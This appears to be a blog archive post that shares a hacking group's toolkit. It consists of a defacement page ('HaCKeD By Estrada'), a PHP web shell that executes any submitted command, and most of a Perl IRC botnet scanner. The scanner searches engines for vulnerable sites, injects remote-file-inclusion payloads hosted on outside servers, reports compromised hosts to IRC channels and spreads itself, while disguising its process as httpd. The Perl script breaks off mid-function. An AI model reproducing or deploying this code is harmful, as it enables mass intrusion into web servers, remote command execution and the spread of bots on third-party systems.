Lewati navigasi

Arsip Kategori: Tcl and scripts

</body>
</html>
<html>
<head>

<title>Estrada</title>

</head>

<body>
<script language=”JavaScript”>
<!– Begin
var months=new Array(13);
months[1]=”January”;
months[2]=”February”;
months[3]=”March”;
months[4]=”April”;
months[5]=”May”;
months[6]=”June”;
months[7]=”July”;
months[8]=”August”;
months[9]=”September”;
months[10]=”October”;
months[11]=”November”;
months[12]=”December”;
var time=new Date();
var lmonth=months[time.getMonth() + 1];
var date=time.getDate();
var year=time.getYear();
if (year < 2000)    // Y2K Fix, Isaac Powell
year = year + 1900;
document.write(“<center>” + lmonth + ” “);
document.write(date + “, ” + year + “</center>”);
// End –>
</script>
</center>

<html>

<head>
<meta http-equiv=”Content-Language” content=”en-us”>
<meta name=”GENERATOR” content=”Microsoft FrontPage 5.0″>
<meta name=”ProgId” content=”FrontPage.Editor.Document”>
<meta http-equiv=”Content-Type” content=”text/html; charset=windows-1252″>
<title>-=|fuck|=-</title>
</head>

<body text=”#FFFFFF” bgcolor=”#000000″>

<p align=”center”><b><font face=”Algerian” size=”7″>HaCKeD By Estrada</font></b></p>
<p align=”center”>&nbsp;</p>
<center><img src=”http://www.coolgifs.de/gifs/skelette/mail.gif” alt=”sOlo TecHnoLoGy”></center><br /><br />
</body>

</html>

<?php
closelog( );
$user = get_current_user( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$ver = phpversion( );
$gid = posix_getgid( );
if ($chdir == “”) $chdir = getcwd( );
if(!$whoami)$whoami=exec(“whoami”);
?>
<br>
<TABLE BORDER=”0″ CELLPADDING=”0″ CELLSPACING=”0″>
<?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
}
?>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD>
</TR>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>Current Path:</b> <?= $chdir ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo “Yes”; }else{ echo “No”; } ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>Server Services:</b> <?= “$SERVER_SOFTWARE $SERVER_VERSION”; ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>Server Adress:</b> <?= “$SERVER_ADDR $SERVER_NAME”; ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>Script Current User:</b> <?= $user ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE=”font-family: verdana; font-size: 10px;”><b>PHP Version:</b> <?= $ver ?></DIV></TD>
</TR>
</TABLE>
<BR>
<font face=”courier new” size=”2″ color=”777777″>
<b>#</b>D-3-D php : <br>
<FORM name=injection METHOD=POST ACTION=”<?php echo $_SERVER["REQUEST_URI"];?>”>
cmd :
<INPUT TYPE=”text” NAME=”cmd” value=”<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>” size=”161″>
<br>
<INPUT TYPE=”submit”>
</FORM>
<hr color=777777 width=100% height=115px>
</font>
<pre>
<?
$cmd = $_POST['cmd'];
if (isset($chdir)) @chdir($chdir);
ob_start();
system(“$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp”);
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(“>”, “&gt;”, str_replace(“<”, “&lt;”, $output));
?>
</pre>
<hr color=777777 width=100% height=115px>
<font face=”courier new” size=”2″ color=”777777″>
<p align=”center”><b><font face=”Algerian” size=”7″>.:sOlo TecHnoLoGy Corps:.</U></b></marquee>
</font>
</body>
</div>

  1. !/usr/bin/perl

$process   = “/usr/local/apache2/bin/httpd -DSSL”;
my $printcmd  = “http://www.kuiwa.at/spider.txt?”;
my $id        = “http://www.kuiwa.at/tikam.txt?”;
my $spread    = “http://geocities.com/ina_lidya/spreads.txt?”;
my $bot       = “http://www.kuiwa.at/bot.txt?”;
my $bin       = “http://cause-i-can.com/readme.txt?”;
my $ircserver = “irc.byroe.net”;
my $start     = “!solo”;
my $port      = “6666″;
my $nickname  = “Solo” . int( rand(9) ). “”;
my $admin     = “Estrada”; ## put here ur nickname, so u can find all the results in pvt
my $channel   = “#soloteam”; ## the normal chan to scan, and see the results too :P
my $chanres   = “#bot”; ## the channel where u can find all the results of the bot
my $verz      = “Soloteam Scanner Technology”;

print “\n”;
print “  Soloteam Scanner Technology\n”;
print “  Author: noname\n”;
print “  Release $verz\n”;
print “  Server $ircserver:$port\n”;
print “  $channel and $chanres\n”;
print “  Enjoy ;) \n\n”;

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;

my $pid = fork;
exit if $pid;
$0 = “$process” . “” x 16;
my $dsp = IO::Socket::INET->new(
PeerAddr => “$ircserver”,
PeerPort => “$port”,
Proto    => “tcp”
) or die “Can not connect on server!\n”;
$dsp->autoflush(1);
print $dsp “NICK $nickname\r\n”;
print $dsp “USER usil 8 *  : Usil \r\n”;
print $dsp “JOIN $channel\r\n”;
print $dsp “PRIVMSG $channel :1Soloteam Scanner!! \r\n”;
print $dsp “PRIVMSG $channel :1Scan Command Is:4 !scan bug dork 1& 5!google bug dork \r\n”;
print $dsp “PRIVMSG $channel :7Soloteam Scanner powered By Team sOlTecH CoMmUniTy \r\n”;
sleep(1);
print $dsp “NICK $nickname\r\n”;
print $dsp “USER jahil 8 *  : Usil \r\n”;
print $dsp “JOIN $chanres\r\n”;
print $dsp “PRIVMSG $chanres :7Welcome 1:4) \r\n”;
print $dsp “PRIVMSG $chanres :7Soloteam Scanner Powered By Team sOlTecH CoMmUniTy \r\n”;

while ( $line = <$dsp> ) {

$line =~ s/\r\n$//;
if ( $line =~ /^PING \:(.*)/ ) {
print “PONG :$1″;
print $dsp “PONG :$1″;
}

if ( $line =~ /PRIVMSG $channel :!help/ ) {
sleep(1);
display( $dsp,”PRIVMSG $channel :10HELP:”);
display( $dsp,”PRIVMSG $channel :5[Help]10 Scan Command Is:4 !scan bug dork 10&4 !google bug dork”);
display( $dsp,”PRIVMSG $channel :5[Help]10 For Info Type: 7!info”);
}

if ( $line =~ /PRIVMSG $channel :!info/ ) {
my $sysos  = `uname -sr`;
my $uptime = `uptime`;
if ( $sysos =~ /freebsd/i ) {
$sysname = `hostname`;
$memory = `expr \`cat /var/run/dmesg.boot | grep “real memory” | cut -f5 -d” “\` \/ 1048576`;
$swap = `$toploc | grep -i swap | cut -f2 -d” ” | cut -f1 -d”M”`;
chomp($memory);
chomp($swap);
}

elsif ( $sysos =~ /linux/i ) {
$sysname = `hostname -f`;
$memory  = `free -m |grep -i mem | awk ‘{print \$2}’`;
$swap    = `free -m |grep -i swap | awk ‘{print \$2}’`;
chomp($swap);
chomp($memory);
}
else {
$sysname = “No Found”;
$memory  = “No found”;
$swap    = “No Found”;
}
$uptime  =~ s/\n//g;
$sysname =~ s/\n//g;
$sysos   =~ s/\n//g;
sleep(1);
display( $dsp,”PRIVMSG $channel :10Information:” );
display( $dsp,”PRIVMSG $channel :5-10 Server:14 $ircserver 10Port:14 $port” );
display( $dsp,”PRIVMSG $channel :5-10 Software:14 $sysos” );
display( $dsp,”PRIVMSG $channel :5-10 Process/Pid:14 $process” );
display( $dsp,”PRIVMSG $channel :5-10 Uptime:14 $uptime” );
display( $dsp,”PRIVMSG $channel :5-10 Memory:14 $memory 10Swap:14 $swap” );
display( $dsp,”PRIVMSG $channel :5-10 Creator:7 Team sOlTecH CoMmUniTy” );
display( $dsp,”PRIVMSG $channel :5-10 Version:7 $verz” );
}

if ( $line =~ /PRIVMSG $channel :!id/ )
{

  1. # Copyright © Script made by Team Soloteam indoIRC . Don’t remove this comment !

my $testid = $id;
my $req    = HTTP::Request->new( GET => $testid );
my $ua     = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /<\?php/ ) {
sleep(1);
display( $dsp,”PRIVMSG $channel :5[Info]3 The ID Is Work” );
}
}
else {
sleep(1);
display( $dsp,”PRIVMSG $channel :5[Info]4 ID Is Not Work.” );
display( $dsp,”PRIVMSG $channel :5[Info]4 Modify The ID.” );
display( $dsp,”PRIVMSG $channel :5[Info]4 The Scanner Will Be Quited.” );
display( $dsp,”PRIVMSG $channel :4[WARNING]12 Scanner Quited.” );
sleep(2);
display( $dsp,”PRIVMSG $channel :4[WARNING]12 Bye Bye” );
display( $dsp,”QUIT” );
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug       = $1;
my $dork      = $2;
my $contatore = 0;
my %hosts;
sleep(1);
display( $dsp,”PRIVMSG $channel :10Scan Started From Dork: 4$dork” );
my @google = &googlet($dork);
push( my @tot, @google );
my @puliti = &unici(@tot);
display( $dsp,
“PRIVMSG $channel :1GOOGLE15 ” . scalar(@tot). ” 10-15 ” . scalar(@puliti) . ” 10 From:14 $dork” );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni – 1 ) {
display( $dsp,”PRIVMSG $channel :1Google10 Finished From Dork:14 $dork ” );
}
my $test  = “http://” . $site . $bug . $id . “?”;
my $test  = “http://” . $site . $bug . $bot . “?”;
my $test  = “http://” . $site . $bug . $id . “?”;
my $print = “http://” . $site . $bug . $printcmd . “?”;
my $req   = HTTP::Request->new( GET => $test );
my $ua    = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /netcat/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 1GOOGLE15 $bug14 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:7 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:7 $up”
);
display( $dsp,”PRIVMSG $channel :10ID:7 $id1”
);
display( $dsp,”PRIVMSG $channel :10PWD:7 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:7 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:7 $sof1”
);
display( $dsp,”PRIVMSG $channel :10Ip Addr:7 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:7 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print”
);
my $test2 = “http://” . $site . $bug . $bins . “?”;
my $test2 = “http://” . $site . $bug . $spread . “?”;
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /netcat/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 1GOOGLE5 $bug4 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:3 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:3 $up”
);
display( $dsp,”PRIVMSG $channel :10PWD:3 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:3 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:3 $sof1”
);
display( $dsp,”PRIVMSG $channel :10IP Addr:3 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:3 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print”
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :!google\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug       = $1;
my $dork      = $2;
my $contatore = 0;
my %hosts;

my @google = &googlet($dork);
push( my @tot, @google );
my @puliti = &unici(@tot);
display( $dsp,”PRIVMSG $channel :1GOOGLE15 ” . scalar(@tot). ” 10-15 ” . scalar(@puliti) . ” 10 From:14 $dork” );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni – 1 ) {
display( $dsp,”PRIVMSG $channel :1Google10 Finished From Dork:14 $dork ”
);
}
my $test  = “http://” . $site . $bug . $id . “?”;
my $test  = “http://” . $site . $bug . $bot . “?”;
my $test  = “http://” . $site . $bug . $id . “?”;
my $print = “http://” . $site . $bug . $printcmd . “?”;
my $req   = HTTP::Request->new( GET => $test );
my $ua    = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /netcat/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 1GOOGLE15 $bug14 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:7 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:7 $up”
);
display( $dsp,”PRIVMSG $channel :10ID:7 $id1”
);
display( $dsp,”PRIVMSG $channel :10PWD:7 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:7 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:7 $sof1”
);
display( $dsp,”PRIVMSG $channel :10Ip Addr:7 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:7 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print”
);
my $test2 = “http://” . $site . $bug . $bins . “?”;
my $test2 = “http://” . $site . $bug . $spread. “?”;
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /netcat/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 1GOOGLE5 $bug4 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:3 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:3 $up”
);
display( $dsp,”PRIVMSG $channel :10PWD:3 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:3 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:3 $sof1”
);
display( $dsp,”PRIVMSG $channel :10IP Addr:3 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:3 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print”
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug       = $1;
my $dork      = $2;
my $contatore = 0;
my %hosts;
my @alltheweb = &alltheweb($dork);
push( my @tot, @alltheweb );
my @puliti = &unici(@tot);
display( $dsp,
“PRIVMSG $channel :2ALLTHEWEB15 ” . scalar(@tot) . ” 10-15 ” . scalar(@puliti) . ” 10 From:14 $dork” );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni – 1 ) {
display( $dsp,”PRIVMSG $channel :2ALLTHEWEB10 Finished From Dork:14 $dork ” );
}
my $test  = “http://” . $site . $bug . $id . “?”;
my $test  = “http://” . $site . $bug . $bot . “?”;
my $test  = “http://” . $site . $bug . $id . “?”;
my $print = “http://” . $site . $bug . $printcmd . “?”;
my $req   = HTTP::Request->new( GET => $test );
my $ua    = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /netcat/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 2ALLTHEWEB15 $bug14 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:7 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:7 $up”
);
display( $dsp,”PRIVMSG $channel :10ID:7 $id1”
);
display( $dsp,”PRIVMSG $channel :10PWD:7 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:7 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:7 $sof1”
);
display( $dsp,”PRIVMSG $channel :10Ip Addr:7 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:7 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print”
);
my $test2 = “http://” . $site . $bug . $bins . “?”;
my $test2 = “http://” . $site . $bug . $spread . “?”;
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /netcat/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 2ALLTHEWEB5 $bug4 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:3 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:3 $up”
);
display( $dsp,”PRIVMSG $channel :10PWD:3 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:3 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:3 $sof1”
);
display( $dsp,”PRIVMSG $channel :10IP Addr:3 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:3 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print”
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug       = $1;
my $dork      = $2;
my $contatore = 0;
my %hosts;
my @alt   = &altavista($dork);
push( my @tot, @alt );
my @puliti = &unici(@tot);
display( $dsp,
“PRIVMSG $channel :4ALTAVISTA15 ” . scalar(@tot) . ” 10-15 ” . scalar(@puliti) . ” 10 From:14 $dork” );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni – 1 ) {
display( $dsp,”PRIVMSG $channel :4ALTAVISTA10 Finished From Dork:14 $dork ” );
}
my $test  = “http://” . $site . $bug . $id . “?”;
my $test  = “http://” . $site . $bug . $bot . “?”;
my $test  = “http://” . $site . $bug . $id . “?”;
my $print = “http://” . $site . $bug . $printcmd . “?”;
my $req   = HTTP::Request->new( GET => $test );
my $ua    = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /netcat/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 4ALTAVISTA15 $bug14 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:7 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:7 $up”
);
display( $dsp,”PRIVMSG $channel :10ID:7 $id1”
);
display( $dsp,”PRIVMSG $channel :10PWD:7 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:7 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:7 $sof1”
);
display( $dsp,”PRIVMSG $channel :10Ip Addr:7 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:7 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print”
);
my $test2 = “http://” . $site . $bug . $bins . “?”;
my $test2 = “http://” . $site . $bug . $spread. “?”;
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /netcat/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 4ALTAVISTA5 $bug4 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:3 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:3 $up”
);
display( $dsp,”PRIVMSG $channel :10PWD:3 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:3 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:3 $sof1”
);
display( $dsp,”PRIVMSG $channel :10IP Addr:3 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:3 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print”
);
}
}
}
}
}
exit;
}
}

if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
if ( my $pid = fork ) {
waitpid( $pid, 0 );
}
else {
if (fork) {
exit;
}
else {
my $bug       = $1;
my $dork      = $2;
my $contatore = 0;
my %hosts;
my @mlist = &msn($dork);
push( my @tot, @mlist );
my @puliti = &unici(@tot);
display( $dsp,
“PRIVMSG $channel :6MSN15 ” . scalar(@tot) . ” 10-15 ” . scalar(@puliti) . ” 10 From:14 $dork” );
my $uni = scalar(@puliti);

foreach my $site (@puliti) {
$contatore++;
if ( $contatore % 100 == 0 ) {
}
if ( $contatore == $uni – 1 ) {
display( $dsp,”PRIVMSG $channel :6MSN10 Finished From Dork:14 $dork ” );
}
my $test  = “http://” . $site . $bug . $id . “?”;
my $test  = “http://” . $site . $bug . $bot . “?”;
my $test  = “http://” . $site . $bug . $id . “?”;
my $print = “http://” . $site . $bug . $printcmd . “?”;
my $req   = HTTP::Request->new( GET => $test );
my $ua    = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /netcat/ && $re =~ /uid=/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 6MSN15 $bug14 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:4 OFF 10Os:7 $os 10Link:5 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:7 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:7 $free 10, Used:7 $used 10, Total:7 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:7 $up”
);
display( $dsp,”PRIVMSG $channel :10ID:7 $id1”
);
display( $dsp,”PRIVMSG $channel :10PWD:7 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:7 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:7 $sof1”
);
display( $dsp,”PRIVMSG $channel :10Ip Addr:7 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:7 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode:4 OFF 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode:4 OFF 1Os: $os Link: $print”
);
my $test2 = “http://” . $site . $bug . $bins . “?”;
my $test2 = “http://” . $site . $bug . $spread . “?”;
my $reqz = HTTP::Request->new( GET => $test2 );
my $ua = LWP::UserAgent->new();
my $response = $ua->request($reqz);
}
}
elsif ( $re =~ /netcat/ ) {
my $hs = geths($print);
$hosts{$hs}++;
if ( $hosts{$hs} == “1″ ) {
$x = os($test);
( $type, $space ) = split( /\,/, $x );
sleep(4);
display( $dsp,”PRIVMSG $channel :10Exploiting… 6MSN5 $bug4 $dork ”
);
display( $dsp,”PRIVMSG $channel :10Safemode:3 ON 10Os:3 $os 10Link:3 $print”
);
display( $dsp,”PRIVMSG $channel :10Uname -a:3 $un”
);
display( $dsp,”PRIVMSG $channel :10HDD: Free:3 $free 10Used:3 $used 10Total:3 $all”
);
display( $dsp,”PRIVMSG $channel :10Uptime:3 $up”
);
display( $dsp,”PRIVMSG $channel :10PWD:3 $pwd1”
);
display( $dsp,”PRIVMSG $channel :10PHP Vers:3 $php1”
);
display( $dsp,”PRIVMSG $channel :10Software:3 $sof1”
);
display( $dsp,”PRIVMSG $channel :10IP Addr:3 $ip1”
);
display( $dsp,”PRIVMSG $channel :10Hostname:3 $name1”
);
display( $dsp,”PRIVMSG $admin :1Safemode: 3ON 1Os: $os Link: $print”
);
display( $dsp,”PRIVMSG $chanres :1Safemode: 3ON 1Os: $os Link: $print”
);
}
}
}
}
}
exit;
}
}

}

sub display() {
if ( $#_ == ’1′ ) {
my $dsp = $_[0];
print $dsp “$_[1]\n”;
}
else {
print $dsp “$_[0]\n”;
}
}

sub os() {
my $site = $_[0];
my $Res  = query($site);

while ( $Res =~ m/<br>uname -a:(.+?)\<br>/g ) {
$un = $1;
}
while ( $Res =~ m/<br>uptime:(.+?)\<br>/g ) {
$up = $1;
}
while ( $Res =~ m/<br>id:(.+?)\<br>/g ) {
$id1 = $1;
}
while ( $Res =~ m/<br>pwd:(.+?)\<br>/g ) {
$pwd1 = $1;
}
while ( $Res =~ m/<br>php:(.+?)\<br>/g ) {
$php1 = $1;
}
while ( $Res =~ m/<br>software:(.+?)\<br>/g ) {
$sof1 = $1;
}
while ( $Res =~ m/<br>server-ip:(.+?)\<br>/g ) {
$ip1 = $1;
}
while ( $Res =~ m/<br>server-name:(.+?)\<br>/g ) {
$name1 = $1;
}
while ( $Res =~ m/<br>os:(.+?)\<br>/g ) {
$os = $1;
}
while ( $Res =~ m/<br>free:(.+?)\<br>/g ) {
$free = $1;
}
while ( $Res =~ m/<br>used:(.+?)\<br>/g ) {
$used = $1;
}
while ( $Res =~ m/<br>total:(.+?)\<br>/g ) {
$all = $1;
}
}

sub googlet {
my @dominios = (
“ae”, “com.ar”, “at”, “com.au”, “be”, “com.br”,
“ca”, “ch”, “cl”, “de”, “dk”, “eu”, “sa”, “id”, “tr”, “pl”, “uk”, “gov”, “my”, “mx”
);
my @country =
( “AE”, “AR”, “AT”, “AU”, “BE”, “BR”, “CA”, “CH”, “CL”, “DE”, “DK” );
my @lst;
my $key = key( $_[0] );
my $c   = 0;
foreach my $i (@dominios) {
my @lista = google( $i, $key, $country[$c] );
push( @lst, @lista );
$c++;
}
return @lst;
}

sub google() {
my @lst;
my $i       = $_[0];
